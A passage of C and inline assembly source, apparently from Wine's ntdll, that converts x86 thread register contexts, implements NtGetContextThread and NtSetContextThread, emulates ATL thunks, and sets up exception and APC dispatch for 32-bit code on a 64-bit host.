to->ctl.i386_regs.cs = from->SegCs;
to->ctl.i386_regs.ss = from->SegSs;
to->ctl.i386_regs.eflags = from->EFlags;
}
if (flags & CONTEXT_INTEGER)
{
to->flags |= SERVER_CTX_INTEGER;
to->integer.i386_regs.eax = from->Eax;
to->integer.i386_regs.ebx = from->Ebx;
to->integer.i386_regs.ecx = from->Ecx;
to->integer.i386_regs.edx = from->Edx;
to->integer.i386_regs.esi = from->Esi;
to->integer.i386_regs.edi = from->Edi;
}
if (flags & CONTEXT_SEGMENTS)
{
to->flags |= SERVER_CTX_SEGMENTS;
to->seg.i386_regs.ds = from->SegDs;
to->seg.i386_regs.es = from->SegEs;
to->seg.i386_regs.fs = from->SegFs;
to->seg.i386_regs.gs = from->SegGs;
}
if (flags & CONTEXT_FLOATING_POINT)
{
to->flags |= SERVER_CTX_FLOATING_POINT;
to->fp.i386_regs.ctrl = from->FloatSave.ControlWord;
to->fp.i386_regs.status = from->FloatSave.StatusWord;
to->fp.i386_regs.tag = from->FloatSave.TagWord;
to->fp.i386_regs.err_off = from->FloatSave.ErrorOffset;
to->fp.i386_regs.err_sel = from->FloatSave.ErrorSelector;
to->fp.i386_regs.data_off = from->FloatSave.DataOffset;
to->fp.i386_regs.data_sel = from->FloatSave.DataSelector;
to->fp.i386_regs.cr0npx = from->FloatSave.Cr0NpxState;
memcpy( to->fp.i386_regs.regs, from->FloatSave.RegisterArea, sizeof(to->fp.i386_regs.regs) );
}
if (flags & CONTEXT_DEBUG_REGISTERS)
{
to->flags |= SERVER_CTX_DEBUG_REGISTERS;
to->debug.i386_regs.dr0 = from->Dr0;
to->debug.i386_regs.dr1 = from->Dr1;
to->debug.i386_regs.dr2 = from->Dr2;
to->debug.i386_regs.dr3 = from->Dr3;
to->debug.i386_regs.dr6 = from->Dr6;
to->debug.i386_regs.dr7 = from->Dr7;
}
if (flags & CONTEXT_EXTENDED_REGISTERS)
{
to->flags |= SERVER_CTX_EXTENDED_REGISTERS;
memcpy( to->ext.i386_regs, from->ExtendedRegisters, sizeof(to->ext.i386_regs) );
}
xstate_to_server( to, xstate_from_context( from ) );
return STATUS_SUCCESS;
}
/***********************************************************************
* context_from_server
*
* Convert a register context from the server format.
*/
NTSTATUS context_from_server( CONTEXT *to, const context_t *from )
{
if (from->cpu != CPU_x86) return STATUS_INVALID_PARAMETER;
to->ContextFlags = CONTEXT_i386 | (to->ContextFlags & 0x40);
if (from->flags & SERVER_CTX_CONTROL)
{
to->ContextFlags |= CONTEXT_CONTROL;
to->Ebp = from->ctl.i386_regs.ebp;
to->Esp = from->ctl.i386_regs.esp;
to->Eip = from->ctl.i386_regs.eip;
to->SegCs = from->ctl.i386_regs.cs;
to->SegSs = from->ctl.i386_regs.ss;
to->EFlags = from->ctl.i386_regs.eflags;
}
if (from->flags & SERVER_CTX_INTEGER)
{
to->ContextFlags |= CONTEXT_INTEGER;
to->Eax = from->integer.i386_regs.eax;
to->Ebx = from->integer.i386_regs.ebx;
to->Ecx = from->integer.i386_regs.ecx;
to->Edx = from->integer.i386_regs.edx;
to->Esi = from->integer.i386_regs.esi;
to->Edi = from->integer.i386_regs.edi;
}
if (from->flags & SERVER_CTX_SEGMENTS)
{
to->ContextFlags |= CONTEXT_SEGMENTS;
to->SegDs = from->seg.i386_regs.ds;
to->SegEs = from->seg.i386_regs.es;
to->SegFs = from->seg.i386_regs.fs;
to->SegGs = from->seg.i386_regs.gs;
}
if (from->flags & SERVER_CTX_FLOATING_POINT)
{
to->ContextFlags |= CONTEXT_FLOATING_POINT;
to->FloatSave.ControlWord = from->fp.i386_regs.ctrl;
to->FloatSave.StatusWord = from->fp.i386_regs.status;
to->FloatSave.TagWord = from->fp.i386_regs.tag;
to->FloatSave.ErrorOffset = from->fp.i386_regs.err_off;
to->FloatSave.ErrorSelector = from->fp.i386_regs.err_sel;
to->FloatSave.DataOffset = from->fp.i386_regs.data_off;
to->FloatSave.DataSelector = from->fp.i386_regs.data_sel;
to->FloatSave.Cr0NpxState = from->fp.i386_regs.cr0npx;
memcpy( to->FloatSave.RegisterArea, from->fp.i386_regs.regs, sizeof(to->FloatSave.RegisterArea) );
}
if (from->flags & SERVER_CTX_DEBUG_REGISTERS)
{
to->ContextFlags |= CONTEXT_DEBUG_REGISTERS;
to->Dr0 = from->debug.i386_regs.dr0;
to->Dr1 = from->debug.i386_regs.dr1;
to->Dr2 = from->debug.i386_regs.dr2;
to->Dr3 = from->debug.i386_regs.dr3;
to->Dr6 = from->debug.i386_regs.dr6;
to->Dr7 = from->debug.i386_regs.dr7;
}
if (from->flags & SERVER_CTX_EXTENDED_REGISTERS)
{
to->ContextFlags |= CONTEXT_EXTENDED_REGISTERS;
memcpy( to->ExtendedRegisters, from->ext.i386_regs, sizeof(to->ExtendedRegisters) );
}
xstate_from_server( xstate_from_context( to ), from );
return STATUS_SUCCESS;
}
/***********************************************************************
* NtSetContextThread (NTDLL.@)
* ZwSetContextThread (NTDLL.@)
*/
NTSTATUS WINAPI NtSetContextThread( HANDLE handle, const CONTEXT *context )
{
NTSTATUS ret = STATUS_SUCCESS;
struct syscall_frame *frame = x86_thread_data()->syscall_frame;
DWORD flags = context->ContextFlags & ~CONTEXT_i386;
BOOL self = (handle == GetCurrentThread());
XSTATE *xs;
/* debug registers require a server call */
if (self && (flags & CONTEXT_DEBUG_REGISTERS))
self = (x86_thread_data()->dr0 == context->Dr0 &&
x86_thread_data()->dr1 == context->Dr1 &&
x86_thread_data()->dr2 == context->Dr2 &&
x86_thread_data()->dr3 == context->Dr3 &&
x86_thread_data()->dr6 == context->Dr6 &&
x86_thread_data()->dr7 == context->Dr7);
if (!self)
{
context_t server_context;
context_to_server( &server_context, context );
ret = set_thread_context( handle, &server_context, &self );
if (ret || !self) return ret;
if (flags & CONTEXT_DEBUG_REGISTERS)
{
x86_thread_data()->dr0 = context->Dr0;
x86_thread_data()->dr1 = context->Dr1;
x86_thread_data()->dr2 = context->Dr2;
x86_thread_data()->dr3 = context->Dr3;
x86_thread_data()->dr6 = context->Dr6;
x86_thread_data()->dr7 = context->Dr7;
}
}
if (flags & CONTEXT_INTEGER)
{
frame->eax = context->Eax;
frame->ebx = context->Ebx;
frame->ecx = context->Ecx;
frame->edx = context->Edx;
frame->esi = context->Esi;
frame->edi = context->Edi;
}
if (flags & CONTEXT_CONTROL)
{
frame->esp = context->Esp;
frame->ebp = context->Ebp;
frame->eip = context->Eip;
frame->eflags = context->EFlags;
if (sel_is_64bit(context->SegCs))
FIXME( "setting 64-bit context not supported\n" );
frame->cs = context->SegCs;
frame->ss = context->SegSs;
}
if (flags & CONTEXT_SEGMENTS)
{
frame->ds = context->SegDs;
frame->es = context->SegEs;
frame->fs = context->SegFs;
frame->gs = context->SegGs;
}
if (flags & CONTEXT_EXTENDED_REGISTERS)
{
struct syscall_xsave *xsave = get_syscall_xsave( frame );
memcpy( &xsave->u.xsave, context->ExtendedRegisters, sizeof(xsave->u.xsave) );
/* reset the current interrupt status */
xsave->u.xsave.StatusWord &= xsave->u.xsave.ControlWord | 0xff80;
xsave->xstate.mask |= XSTATE_MASK_LEGACY;
}
else if (flags & CONTEXT_FLOATING_POINT)
{
struct syscall_xsave *xsave = get_syscall_xsave( frame );
if (cpu_info.FeatureSet & CPU_FEATURE_FXSR)
{
fpu_to_fpux( &xsave->u.xsave, &context->FloatSave );
}
else
{
xsave->u.fsave = context->FloatSave;
}
xsave->xstate.mask |= XSTATE_MASK_LEGACY_FLOATING_POINT;
}
if ((cpu_info.FeatureSet & CPU_FEATURE_AVX) && (xs = xstate_from_context( context )))
{
struct syscall_xsave *xsave = get_syscall_xsave( frame );
CONTEXT_EX *context_ex = (CONTEXT_EX *)(context + 1);
if (context_ex->XState.Length < offsetof(XSTATE, YmmContext)
|| context_ex->XState.Length > sizeof(XSTATE))
return STATUS_INVALID_PARAMETER;
if (xs->Mask & XSTATE_MASK_GSSE)
{
if (context_ex->XState.Length < sizeof(XSTATE))
return STATUS_BUFFER_OVERFLOW;
xsave->xstate.mask |= XSTATE_MASK_GSSE;
memcpy( &xsave->xstate.ymm_high, &xs->YmmContext, sizeof(xsave->xstate.ymm_high) );
}
else
xsave->xstate.mask &= ~XSTATE_MASK_GSSE;
}
return STATUS_SUCCESS;
}
/***********************************************************************
* NtGetContextThread (NTDLL.@)
* ZwGetContextThread (NTDLL.@)
*
* Note: we use a small assembly wrapper to save the necessary registers
* in case we are fetching the context of the current thread.
*/
NTSTATUS WINAPI NtGetContextThread( HANDLE handle, CONTEXT *context )
{
struct syscall_frame *frame = x86_thread_data()->syscall_frame;
DWORD needed_flags = context->ContextFlags & ~CONTEXT_i386;
BOOL self = (handle == GetCurrentThread());
NTSTATUS ret;
/* debug registers require a server call */
if (needed_flags & CONTEXT_DEBUG_REGISTERS) self = FALSE;
if (!self)
{
context_t server_context;
unsigned int server_flags = get_server_context_flags( context->ContextFlags );
if ((ret = get_thread_context( handle, &server_context, server_flags, &self ))) return ret;
if ((ret = context_from_server( context, &server_context ))) return ret;
needed_flags &= ~context->ContextFlags;
}
if (self)
{
struct syscall_xsave *xsave = get_syscall_xsave( frame );
XSTATE *xstate;
if (needed_flags & CONTEXT_INTEGER)
{
context->Eax = frame->eax;
context->Ebx = frame->ebx;
context->Ecx = frame->ecx;
context->Edx = frame->edx;
context->Esi = frame->esi;
context->Edi = frame->edi;
context->ContextFlags |= CONTEXT_INTEGER;
}
if (needed_flags & CONTEXT_CONTROL)
{
context->Esp = frame->esp;
context->Ebp = frame->ebp;
context->Eip = frame->eip;
context->EFlags = frame->eflags;
context->SegCs = frame->cs;
context->SegSs = frame->ss;
context->ContextFlags |= CONTEXT_CONTROL;
}
if (needed_flags & CONTEXT_SEGMENTS)
{
context->SegDs = frame->ds;
context->SegEs = frame->es;
context->SegFs = frame->fs;
context->SegGs = frame->gs;
context->ContextFlags |= CONTEXT_SEGMENTS;
}
if (needed_flags & CONTEXT_FLOATING_POINT)
{
if (!(cpu_info.FeatureSet & CPU_FEATURE_FXSR))
{
context->FloatSave = xsave->u.fsave;
}
else if (!xstate_compaction_enabled ||
(xsave->xstate.mask & XSTATE_MASK_LEGACY_FLOATING_POINT))
{
fpux_to_fpu( &context->FloatSave, &xsave->u.xsave );
}
else
{
memset( &context->FloatSave, 0, sizeof(context->FloatSave) );
context->FloatSave.ControlWord = 0x37f;
}
context->ContextFlags |= CONTEXT_FLOATING_POINT;
}
if (needed_flags & CONTEXT_EXTENDED_REGISTERS)
{
XSAVE_FORMAT *xs = (XSAVE_FORMAT *)context->ExtendedRegisters;
if (!xstate_compaction_enabled ||
(xsave->xstate.mask & XSTATE_MASK_LEGACY_FLOATING_POINT))
{
memcpy( xs, &xsave->u.xsave, FIELD_OFFSET( XSAVE_FORMAT, MxCsr ));
memcpy( xs->FloatRegisters, xsave->u.xsave.FloatRegisters,
sizeof( xs->FloatRegisters ));
}
else
{
memset( xs, 0, FIELD_OFFSET( XSAVE_FORMAT, MxCsr ));
memset( xs->FloatRegisters, 0, sizeof( xs->FloatRegisters ));
xs->ControlWord = 0x37f;
}
if (!xstate_compaction_enabled || (xsave->xstate.mask & XSTATE_MASK_LEGACY_SSE))
{
memcpy( xs->XmmRegisters, xsave->u.xsave.XmmRegisters, sizeof( xs->XmmRegisters ));
xs->MxCsr = xsave->u.xsave.MxCsr;
xs->MxCsr_Mask = xsave->u.xsave.MxCsr_Mask;
}
else
{
memset( xs->XmmRegisters, 0, sizeof( xs->XmmRegisters ));
xs->MxCsr = 0x1f80;
xs->MxCsr_Mask = 0x2ffff;
}
context->ContextFlags |= CONTEXT_EXTENDED_REGISTERS;
}
/* update the cached version of the debug registers */
if (context->ContextFlags & (CONTEXT_DEBUG_REGISTERS & ~CONTEXT_i386))
{
x86_thread_data()->dr0 = context->Dr0;
x86_thread_data()->dr1 = context->Dr1;
x86_thread_data()->dr2 = context->Dr2;
x86_thread_data()->dr3 = context->Dr3;
x86_thread_data()->dr6 = context->Dr6;
x86_thread_data()->dr7 = context->Dr7;
}
if ((cpu_info.FeatureSet & CPU_FEATURE_AVX) && (xstate = xstate_from_context( context )))
{
struct syscall_xsave *xsave = get_syscall_xsave( frame );
CONTEXT_EX *context_ex = (CONTEXT_EX *)(context + 1);
unsigned int mask;
if (context_ex->XState.Length < offsetof(XSTATE, YmmContext)
|| context_ex->XState.Length > sizeof(XSTATE))
return STATUS_INVALID_PARAMETER;
mask = (xstate_compaction_enabled ? xstate->CompactionMask : xstate->Mask) & XSTATE_MASK_GSSE;
xstate->Mask = xsave->xstate.mask & mask;
xstate->CompactionMask = xstate_compaction_enabled ? (0x8000000000000000 | mask) : 0;
memset( xstate->Reserved, 0, sizeof(xstate->Reserved) );
if (xstate->Mask)
{
if (context_ex->XState.Length < sizeof(XSTATE))
return STATUS_BUFFER_OVERFLOW;
memcpy( &xstate->YmmContext, xsave->xstate.ymm_high, sizeof(xsave->xstate.ymm_high) );
}
}
}
if (context->ContextFlags & (CONTEXT_INTEGER & ~CONTEXT_i386))
TRACE( "%p: eax=%08x ebx=%08x ecx=%08x edx=%08x esi=%08x edi=%08x\n", handle,
context->Eax, context->Ebx, context->Ecx, context->Edx, context->Esi, context->Edi );
if (context->ContextFlags & (CONTEXT_CONTROL & ~CONTEXT_i386))
TRACE( "%p: ebp=%08x esp=%08x eip=%08x cs=%04x ss=%04x flags=%08x\n", handle,
context->Ebp, context->Esp, context->Eip, context->SegCs, context->SegSs, context->EFlags );
if (context->ContextFlags & (CONTEXT_SEGMENTS & ~CONTEXT_i386))
TRACE( "%p: ds=%04x es=%04x fs=%04x gs=%04x\n", handle,
context->SegDs, context->SegEs, context->SegFs, context->SegGs );
if (context->ContextFlags & (CONTEXT_DEBUG_REGISTERS & ~CONTEXT_i386))
TRACE( "%p: dr0=%08x dr1=%08x dr2=%08x dr3=%08x dr6=%08x dr7=%08x\n", handle,
context->Dr0, context->Dr1, context->Dr2, context->Dr3, context->Dr6, context->Dr7 );
return STATUS_SUCCESS;
}
/***********************************************************************
* is_privileged_instr
*
* Check if the fault location is a privileged instruction.
* Based on the instruction emulation code in dlls/kernel/instr.c.
*/
static inline DWORD is_privileged_instr( CONTEXT *context )
{
BYTE instr[16];
unsigned int i, len, prefix_count = 0;
if (!ldt_is_system( context->SegCs )) return 0;
len = virtual_uninterrupted_read_memory( (BYTE *)context->Eip, instr, sizeof(instr) );
for (i = 0; i < len; i++) switch (instr[i])
{
/* instruction prefixes */
case 0x2e: /* %cs: */
case 0x36: /* %ss: */
case 0x3e: /* %ds: */
case 0x26: /* %es: */
case 0x64: /* %fs: */
case 0x65: /* %gs: */
case 0x66: /* opcode size */
case 0x67: /* addr size */
case 0xf0: /* lock */
case 0xf2: /* repne */
case 0xf3: /* repe */
if (++prefix_count >= 15) return EXCEPTION_ILLEGAL_INSTRUCTION;
continue;
case 0x0f: /* extended instruction */
if (i == len - 1) return 0;
switch(instr[i + 1])
{
case 0x20: /* mov crX, reg */
case 0x21: /* mov drX, reg */
case 0x22: /* mov reg, crX */
case 0x23: /* mov reg drX */
return EXCEPTION_PRIV_INSTRUCTION;
}
return 0;
case 0x6c: /* insb (%dx) */
case 0x6d: /* insl (%dx) */
case 0x6e: /* outsb (%dx) */
case 0x6f: /* outsl (%dx) */
case 0xcd: /* int $xx */
case 0xe4: /* inb al,XX */
case 0xe5: /* in (e)ax,XX */
case 0xe6: /* outb XX,al */
case 0xe7: /* out XX,(e)ax */
case 0xec: /* inb (%dx),%al */
case 0xed: /* inl (%dx),%eax */
case 0xee: /* outb %al,(%dx) */
case 0xef: /* outl %eax,(%dx) */
case 0xf4: /* hlt */
case 0xfa: /* cli */
case 0xfb: /* sti */
return EXCEPTION_PRIV_INSTRUCTION;
default:
return 0;
}
return 0;
}
/***********************************************************************
* check_invalid_gs
*
* Check for fault caused by invalid %gs value (some copy protection schemes mess with it).
*/
static inline BOOL check_invalid_gs( ucontext_t *sigcontext, CONTEXT *context )
{
unsigned int prefix_count = 0;
const BYTE *instr = (BYTE *)context->Eip;
WORD system_gs = x86_thread_data()->gs;
if (context->SegGs == system_gs) return FALSE;
if (!ldt_is_system( context->SegCs )) return FALSE;
/* only handle faults in system libraries */
if (virtual_is_valid_code_address( instr, 1 )) return FALSE;
for (;;) switch(*instr)
{
/* instruction prefixes */
case 0x2e: /* %cs: */
case 0x36: /* %ss: */
case 0x3e: /* %ds: */
case 0x26: /* %es: */
case 0x64: /* %fs: */
case 0x66: /* opcode size */
case 0x67: /* addr size */
case 0xf0: /* lock */
case 0xf2: /* repne */
case 0xf3: /* repe */
if (++prefix_count >= 15) return FALSE;
instr++;
continue;
case 0x65: /* %gs: */
TRACE( "%04x/%04x at %p, fixing up\n", context->SegGs, system_gs, instr );
GS_sig(sigcontext) = system_gs;
return TRUE;
default:
return FALSE;
}
}
#include "pshpack1.h"
union atl_thunk
{
struct
{
DWORD movl; /* movl this,4(%esp) */
DWORD this;
BYTE jmp; /* jmp func */
int func;
} t1;
struct
{
BYTE movl; /* movl this,ecx */
DWORD this;
BYTE jmp; /* jmp func */
int func;
} t2;
struct
{
BYTE movl1; /* movl this,edx */
DWORD this;
BYTE movl2; /* movl func,ecx */
DWORD func;
WORD jmp; /* jmp ecx */
} t3;
struct
{
BYTE movl1; /* movl this,ecx */
DWORD this;
BYTE movl2; /* movl func,eax */
DWORD func;
WORD jmp; /* jmp eax */
} t4;
struct
{
DWORD inst1; /* pop ecx
* pop eax
* push ecx
* jmp 4(%eax) */
WORD inst2;
} t5;
};
#include "poppack.h"
/**********************************************************************
* check_atl_thunk
*
* Check if code destination is an ATL thunk, and emulate it if so.
*/
static BOOL check_atl_thunk( ucontext_t *sigcontext, EXCEPTION_RECORD *rec, CONTEXT *context )
{
const union atl_thunk *thunk = (const union atl_thunk *)rec->ExceptionInformation[1];
union atl_thunk thunk_copy;
SIZE_T thunk_len;
if (context->SegCs != wine_32on64_cs32) return FALSE;
thunk_len = virtual_uninterrupted_read_memory( thunk, &thunk_copy, sizeof(*thunk) );
if (!thunk_len) return FALSE;
if (thunk_len >= sizeof(thunk_copy.t1) && thunk_copy.t1.movl == 0x042444c7 &&
thunk_copy.t1.jmp == 0xe9)
{
if (!virtual_uninterrupted_write_memory( (DWORD *)context->Esp + 1,
&thunk_copy.t1.this, sizeof(DWORD) ))
{
RIP_sig(sigcontext) = (DWORD_PTR)(&thunk->t1.func + 1) + thunk_copy.t1.func;
TRACE( "emulating ATL thunk type 1 at %p, func=%08x arg=%08x\n",
thunk, (DWORD)RIP_sig(sigcontext), thunk_copy.t1.this );
return TRUE;
}
}
else if (thunk_len >= sizeof(thunk_copy.t2) && thunk_copy.t2.movl == 0xb9 &&
thunk_copy.t2.jmp == 0xe9)
{
RCX_sig(sigcontext) = thunk_copy.t2.this;
RIP_sig(sigcontext) = (DWORD_PTR)(&thunk->t2.func + 1) + thunk_copy.t2.func;
TRACE( "emulating ATL thunk type 2 at %p, func=%08x ecx=%08x\n",
thunk, (DWORD)RIP_sig(sigcontext), (DWORD)RCX_sig(sigcontext) );
return TRUE;
}
else if (thunk_len >= sizeof(thunk_copy.t3) && thunk_copy.t3.movl1 == 0xba &&
thunk_copy.t3.movl2 == 0xb9 &&
thunk_copy.t3.jmp == 0xe1ff)
{
RDX_sig(sigcontext) = thunk_copy.t3.this;
RCX_sig(sigcontext) = thunk_copy.t3.func;
RIP_sig(sigcontext) = thunk_copy.t3.func;
TRACE( "emulating ATL thunk type 3 at %p, func=%08x ecx=%08x edx=%08x\n",
thunk, (DWORD)RIP_sig(sigcontext), (DWORD)RCX_sig(sigcontext), (DWORD)RDX_sig(sigcontext) );
return TRUE;
}
else if (thunk_len >= sizeof(thunk_copy.t4) && thunk_copy.t4.movl1 == 0xb9 &&
thunk_copy.t4.movl2 == 0xb8 &&
thunk_copy.t4.jmp == 0xe0ff)
{
RCX_sig(sigcontext) = thunk_copy.t4.this;
RAX_sig(sigcontext) = thunk_copy.t4.func;
RIP_sig(sigcontext) = thunk_copy.t4.func;
TRACE( "emulating ATL thunk type 4 at %p, func=%08x eax=%08x ecx=%08x\n",
thunk, (DWORD)RIP_sig(sigcontext), (DWORD)RAX_sig(sigcontext), (DWORD)RCX_sig(sigcontext) );
return TRUE;
}
else if (thunk_len >= sizeof(thunk_copy.t5) && thunk_copy.t5.inst1 == 0xff515859 &&
thunk_copy.t5.inst2 == 0x0460)
{
DWORD func, sp[2];
if (virtual_uninterrupted_read_memory( (DWORD *)context->Esp, sp, sizeof(sp) ) == sizeof(sp) &&
virtual_uninterrupted_read_memory( (DWORD *)sp[1] + 1, &func, sizeof(DWORD) ) == sizeof(DWORD) &&
!virtual_uninterrupted_write_memory( (DWORD *)context->Esp + 1, &sp[0], sizeof(sp[0]) ))
{
RCX_sig(sigcontext) = sp[0];
RAX_sig(sigcontext) = sp[1];
RSP_sig(sigcontext) += sizeof(DWORD);
RIP_sig(sigcontext) = func;
TRACE( "emulating ATL thunk type 5 at %p, func=%08x eax=%08x ecx=%08x esp=%08x\n",
thunk, (DWORD)RIP_sig(sigcontext), (DWORD)RAX_sig(sigcontext),
(DWORD)RCX_sig(sigcontext), (DWORD)RSP_sig(sigcontext) );
return TRUE;
}
}
return FALSE;
}
/***********************************************************************
* setup_exception_record
*
* Setup the exception record and context on the thread stack.
*/
static void *setup_exception_record( ucontext_t *sigcontext, EXCEPTION_RECORD *rec, struct xcontext *xcontext )
{
void *stack = init_handler( sigcontext );
rec->ExceptionAddress = (void *)(DWORD)RIP_sig( sigcontext );
save_context( xcontext, sigcontext );
return stack;
}
/***********************************************************************
* setup_raise_exception
*
* Change context to setup a call to a raise exception function.
*/
static void setup_raise_exception( ucontext_t *sigcontext, void *stack_ptr,
EXCEPTION_RECORD *rec, struct xcontext *xcontext )
{
CONTEXT *context = &xcontext->c;
size_t stack_size;
XSTATE *src_xs;
struct stack_layout
{
EXCEPTION_RECORD *rec_ptr; /* first arg for KiUserExceptionDispatcher */
CONTEXT *context_ptr; /* second arg for KiUserExceptionDispatcher */
CONTEXT context;
CONTEXT_EX context_ex;
EXCEPTION_RECORD rec;
DWORD ebp;
DWORD eip;
char xstate[0];
} *stack;
C_ASSERT( (offsetof(struct stack_layout, xstate) == sizeof(struct stack_layout)) );
NTSTATUS status = send_debug_event( rec, context, TRUE );
if (status == DBG_CONTINUE || status == DBG_EXCEPTION_HANDLED)
{
restore_context( xcontext, sigcontext );
return;
}
/* fix up instruction pointer in context for EXCEPTION_BREAKPOINT */
if (rec->ExceptionCode == EXCEPTION_BREAKPOINT) context->Eip--;
stack_size = sizeof(*stack);
if ((src_xs = xstate_from_context( context )))
{
stack_size += (ULONG_PTR)stack_ptr - (((ULONG_PTR)stack_ptr
- sizeof(XSTATE)) & ~(ULONG_PTR)63);
}
stack = virtual_setup_exception( stack_ptr, stack_size, rec );
stack->rec = *rec;
stack->context = *context;
if (src_xs)
{
XSTATE *dst_xs = (XSTATE *)stack->xstate;
assert(!((ULONG_PTR)dst_xs & 63));
context_init_xstate( &stack->context, stack->xstate );
memset( dst_xs, 0, offsetof(XSTATE, YmmContext) );
dst_xs->CompactionMask = xstate_compaction_enabled ? 0x8000000000000004 : 0;
if (src_xs->Mask & 4)
{
dst_xs->Mask = 4;
memcpy( &dst_xs->YmmContext, &src_xs->YmmContext, sizeof(dst_xs->YmmContext) );
}
}
stack->rec_ptr = &stack->rec;
stack->context_ptr = &stack->context;
RSP_sig(sigcontext) = (ULONG64)stack;
RIP_sig(sigcontext) = (ULONG64)pKiUserExceptionDispatcher;
/* clear single-step, direction, and align check flag */
EFL_sig(sigcontext) &= ~(0x100|0x400|0x40000);
CS_sig(sigcontext) = wine_32on64_cs32;
DS_sig(sigcontext) = wine_32on64_ds32;
ES_sig(sigcontext) = wine_32on64_ds32;
/*
FS_sig(sigcontext) = get_fs();
GS_sig(sigcontext) = get_gs();
SS_sig(sigcontext) = get_ds();
*/
}
/***********************************************************************
* setup_exception
*
* Do the full setup to raise an exception from an exception record.
*/
static void setup_exception( ucontext_t *sigcontext, EXCEPTION_RECORD *rec )
{
struct xcontext xcontext;
void *stack = setup_exception_record( sigcontext, rec, &xcontext );
setup_raise_exception( sigcontext, stack, rec, &xcontext );
}
/* stack layout when calling an user apc function.
* FIXME: match Windows ABI. */
struct apc_stack_layout
{
void *context_ptr;
void *ctx;
void *arg1;
void *arg2;
void *func;
CONTEXT context;
};
struct apc_stack_layout * WINAPI setup_user_apc_dispatcher_stack( CONTEXT *context, struct apc_stack_layout *stack,
void *ctx, void *arg1, void *arg2, void *func )
{
CONTEXT c;
if (!context)
{
c.ContextFlags = CONTEXT_FULL;
NtGetContextThread( GetCurrentThread(), &c );
c.Eax = STATUS_USER_APC;
context = &c;
}
memmove( &stack->context, context, sizeof(stack->context) );
stack->context_ptr = &stack->context;
stack->ctx = ctx;
stack->arg1 = arg1;
stack->arg2 = arg2;
stack->func = func;
return stack;
}
C_ASSERT( sizeof(struct apc_stack_layout) == 0x2e0 );
C_ASSERT( offsetof(struct apc_stack_layout, context) == 20 );
/***********************************************************************
* call_user_apc_dispatcher
*/
void WINAPI DECLSPEC_NORETURN call_user_apc_dispatcher( CONTEXT *context_ptr, ULONG_PTR ctx,
ULONG_PTR arg1, ULONG_PTR arg2,
PNTAPCFUNC func,
void (WINAPI *dispatcher)(CONTEXT*,ULONG_PTR,ULONG_PTR,ULONG_PTR,PNTAPCFUNC) )
{
WINE_CALL_IMPL32(call_user_apc_dispatcher)( context_ptr, ctx, arg1, arg2, func, dispatcher );
}
__ASM_GLOBAL_FUNC32( __ASM_THUNK_NAME(call_user_apc_dispatcher),
"movl 4(%esp),%esi\n\t" /* context_ptr */
"movl 24(%esp),%edi\n\t" /* dispatcher */
"leal 4(%esp),%ebp\n\t"
"test %esi,%esi\n\t"
"jz 1f\n\t"
"movl 0xc4(%esi),%eax\n\t" /* context_ptr->Esp */
"jmp 2f\n\t"
"1:\tmovl %fs:0x1f8,%eax\n\t" /* x86_thread_data()->syscall_frame */
"leal 0x38(%eax),%eax\n\t" /* &x86_thread_data()->syscall_frame->ret_addr */
"2:\tsubl $0x2e0,%eax\n\t" /* sizeof(struct apc_stack_layout) */
"movl %ebp,%esp\n\t" /* pop return address */
"cmpl %esp,%eax\n\t"
"cmovbl %eax,%esp\n\t"
"pushl 16(%ebp)\n\t" /* func */
"pushl 12(%ebp)\n\t" /* arg2 */
"pushl 8(%ebp)\n\t" /* arg1 */
"pushl 4(%ebp)\n\t" /* ctx */
"pushl %eax\n\t"
"pushl %esi\n\t"
"call " __ASM_THUNK_STDCALL_SYMBOL("setup_user_apc_dispatcher_stack",24) "\n\t"
"movl $0,%fs:0x1f8\n\t" /* x86_thread_data()->syscall_frame = NULL */
"movl %eax,%esp\n\t"
"leal 20(%eax),%esi\n\t"
"movl 0xb4(%esi),%ebp\n\t" /* context.Ebp */
"pushl 0xb8(%esi)\n\t" /* context.Eip */
"jmp *%edi\n" )
/***********************************************************************
* call_raise_user_exception_dispatcher
*/
void WINAPI call_raise_user_exception_dispatcher( NTSTATUS (WINAPI *dispatcher)(void) )
{
x86_thread_data()->syscall_frame->eip = (DWORD)dispatcher;
}
/***********************************************************************
* call_user_exception_dispatcher
*/
void WINAPI DECLSPEC_NORETURN call_user_exception_dispatcher( EXCEPTION_RECORD *rec, CONTEXT *context,
NTSTATUS (WINAPI *dispatcher)(EXCEPTION_RECORD*,CONTEXT*) )
{
WINE_CALL_IMPL32(call_user_exception_dispatcher)( rec, context, dispatcher );
}
__ASM_GLOBAL_FUNC32( __ASM_THUNK_NAME(call_user_exception_dispatcher),
"movl 4(%esp),%edx\n\t" /* rec */
"movl 8(%esp),%ecx\n\t" /* context */
"cmpl $0x80000003,(%edx)\n\t" /* rec->ExceptionCode */
"jne 1f\n\t"
"decl 0xb8(%ecx)\n" /* context->Eip */
"1:\tmovl %fs:0x1f8,%eax\n\t" /* x86_thread_data()->syscall_frame */
"movl 0x1c(%eax),%ebx\n\t" /* frame->ebx */
"movl 0x28(%eax),%edi\n\t" /* frame->edi */
"movl 0x2c(%eax),%esi\n\t" /* frame->esi */
"movl 0x30(%eax),%ebp\n\t" /* frame->ebp */
"movl %edx,0x30(%eax)\n\t"
"movl %ecx,0x34(%eax)\n\t"
"movl 12(%esp),%edx\n\t" /* dispatcher */
"movl $0,%fs:0x1f8\n\t"
"leal 0x30(%eax),%esp\n\t"
"jmp *%edx" )
/**********************************************************************
* get_fpu_code
*
* Get the FPU exception code from the FPU status.
*/
static inline DWORD get_fpu_code( const CONTEXT *context )
{
DWORD status = context->FloatSave.StatusWord & ~(context->FloatSave.ControlWord & 0x3f);
if (status & 0x01) /* IE */
{
if (status & 0x40) /* SF */
return EXCEPTION_FLT_STACK_CHECK;
else
return EXCEPTION_FLT_INVALID_OPERATION;
}
if (status & 0x02) return EXCEPTION_FLT_DENORMAL_OPERAND; /* DE flag */
if (status & 0x04) return EXCEPTION_FLT_DIVIDE_BY_ZERO; /* ZE flag */
if (status & 0x08) return EXCEPTION_FLT_OVERFLOW; /* OE flag */
if (status & 0x10) return EXCEPTION_FLT_UNDERFLOW; /* UE flag */
if (status & 0x20) return EXCEPTION_FLT_INEXACT_RESULT; /* PE flag */
return EXCEPTION_FLT_INVALID_OPERATION; /* generic error */
}
/***********************************************************************
* handle_interrupt
*
* Handle an interrupt.
*/
static BOOL handle_interrupt( unsigned int interrupt, ucontext_t *sigcontext, void *stack,
EXCEPTION_RECORD *rec, struct xcontext *xcontext )
{
CONTEXT *context = &xcontext->c;
switch(interrupt)
{
case 0x2d:
if (!is_wow64)
{
/* On Wow64, the upper DWORD of Rax contains garbage, and the debug
* service is usually not recognized when called from usermode. */
switch (context->Eax)
{
